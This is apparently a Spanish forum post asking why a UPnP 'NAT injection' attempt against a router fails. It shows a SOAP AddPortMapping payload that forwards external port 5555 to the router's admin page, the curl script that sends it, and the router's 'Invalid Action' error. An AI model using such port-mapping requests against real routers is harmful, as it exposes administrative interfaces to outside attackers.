Estoy intentando el 'exploit' pero no hay manera:
Contenido de SOAP_NAT.xml:
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schema.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelopes/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>5555</NewExternalPort>
<NewInternalClient>192.168.1.1</NewInternalClient>
<NewInternalPort>80</NewInternalPort>
<NewProtocol>TCP</NewProtocol>
<NewPortMappingDescription>i_want_admin</NewPortMappingDescription>
<NewLeaseDuration>10</NewLeaseDuration>
<NewEnabled>1</NewEnabled>
</u:AddPortMapping>
</s:Body>
</s:Envelope>Contenido de nat_injection.sh:
curl -v \
-H 'Content-Type: text/xml; charset="utf-8"' \
-H 'Connection: close' \
-H 'SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1"' \
--data @SOAP_NAT.xml \
"http://192.168.1.1:52869/upnp/control/WANIPConn1"
La salida que obtengo es la de un error interno 500:
* Trying 192.168.1.1:52869...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 52869 (#0)
> POST /upnp/control/WANIPConn1 HTTP/1.1
> Host: 192.168.1.1:52869
> User-Agent: curl/7.66.0
> Accept: */*
> Content-Type: text/xml; charset="utf-8"
> Connection: close
> SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1"
> Content-Length: 681
>
* upload completely sent off: 681 out of 681 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 Internal Server Error
< CONTENT-LENGTH: 451
< CONTENT-TYPE: text/xml; charset="utf-8"
< DATE: Sat, 16 Nov 2019 11:20:22 GMT
< EXT:
< SERVER: Linux, UPnP/1.0, Portable SDK for UPnP devices/1.6.18
< X-User-Agent: redsonic
<
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<s:Fault>
<faultcode>s:Client</faultcode>
<faultstring>UPnPError</faultstring>
<detail>
<UPnPError xmlns="urn:schemas-upnp-org:control-1-0">
<errorCode>401</errorCode>
<errorDescription>Invalid Action</errorDescription>
</UPnPError>
</detail>
</s:Fault>
</s:Body>
</s:Envelope>
* Connection #0 to host 192.168.1.1 left intact
Estoy tomando como parámetros los que devuelve la información de http://192.168.1.1:52869/gatedesc.xml:
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<controlURL>/upnp/control/WANIPConn1</controlURL>
<eventSubURL>/upnp/control/WANIPConn1</eventSubURL>
<SCPDURL>/gateconnSCPD.xml</SCPDURL>
</service>
